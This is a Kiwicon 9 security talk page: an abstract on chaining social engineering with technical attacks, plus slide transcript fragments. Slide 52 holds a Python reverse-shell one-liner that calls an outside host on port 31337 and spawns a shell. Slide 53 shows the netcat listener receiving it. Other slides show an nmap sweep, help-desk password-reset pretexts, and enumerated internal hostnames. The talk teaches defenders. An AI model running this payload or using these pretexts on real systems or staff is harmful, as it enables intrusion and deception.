Kiwicon 9 - Nihilist’s Guide to Wrecking Humans and Systems

The fault of the computer system is that it can only follow instructions. The fault of the human is that it can only make judgement calls. When we think about this in relation to information security, it presents an interesting opportunity to destructively combine the two and use it for evil.

We often assume that out of all the elements within our organisations and systems, people are most likely to expose us to risk. People create technical systems and people man these systems. The problem? We almost always focus on human and technical threats as separate risks and don’t consider the harm that can be done when combined.

Together, we will explore how social engineering can be used in conjunction with technical attacks to create sophisticated and destructive attack chains, share some real world scenarios and talk about what we’re doing wrong to protect against these threats. We will show you how a seemingly innocent phone call can lead to complete internal network compromise, how a purposely bad phishing email can be utilised to your benefit, and how people are generally bad at trust and computers.

Transcript

11. What are you?
12. What are you?
13. I’m a s trong independent BEING
14. I have feelings and emotions and I can talk to people and I can relate to people and I have wants and needs that require interactions and I like S TUFF and Things and I like to feel like I have control over computers
15. ...
16. I can make judgment calls
17. What are you?
18. I FOLLOW INSTRUCTIONS GOOD
19. I HAVE NO EMOTION
20. I CAN’T MAKE JUDGMENT CALLS
21. 01101101 01100101 01101111 01110111
26. I CAN’T MAKE JUDGMENT CALLS I can make judgment calls
36. Hi you need to update your healthcare details Now plz
37. ???
44. Hi, I’m Gwynne
45. Plz download this pat ch
46. ty
47. It’s Party time.
52. /bin/python -c "exec(\"import socket,subprocess,os\\ns=socket.socket(socket.AF_I NET,socket.SOCK_STREAM)\\ns.connect(('hackingiseas y.com',31337))\\nos.dup2(s.fileno(),0)\\nos.dup2(s .fileno(),1)\\nos.dup2(s.fileno(),2)\\np=subproces s.call(['/bin/sh','-i'])\\n\")"
53. root@kali:~/test# nc -lvvvp 31337 listening on [any] 31337 ... connect to [hackingiseasy.com] from mq.uat.bigcorp.com [23.76.132.226] 50132 [\u@\h \w]$
60. nmap -p- -T4 -Pn -vvv 10.1.109.0-254
62. A quick recap
73. Hi, I’m Chris tina
74. I forgot my password
75. I forgot my password oh and I don’t have my laptop
76. I forgot my password oh and I don’t have my laptop because I’m travelling
77. I forgot my password oh and I don’t have my laptop because I’m travelling and I reall y need access to my account
78. I forgot my password oh and I don’t have my laptop because I’m travelling and I reall y need access to my account can you plz help?
79. Ya sure
80. Visit this website To reset your password
94. I’m s till having issues with my password
95. I’m not good at phones plz help
97. host6.vs.nyc.bigcorp.com broadband2.bigcorp.com prd-oracle.nyc.bigcorp.com ra-app.nyc.bigcorp.com ap-lan-gw.t.bigcorp.com raweb3.t.bigcorp.com qa.drupal.nyc.bigcorp.com beta.d.bigcorp.com pubdispatcher6.corp.nyc.bigcorp.com bigcorpedge2-ilo.int.bigcorp.com prod-ora-dlgdb.dev.nyc.bigcorp.com community2.nyc.dev.bigcorp.com f52.int.bigcorp.com auth.dev.bigcorp.com admin.dev.bigcorp.com …
105. $db_url['default'] = 'mysql://XXX:YYY@localhost/ZZZ'; $db_prefix = '';
106. $db_url['default'] = 'mysql://XXX:YYY@localhost/ZZZ'; $db_prefix = '';
107. $db_url['default'] = 'mysql://XXX:YYY@localhost/ZZZ'; $db_prefix = '';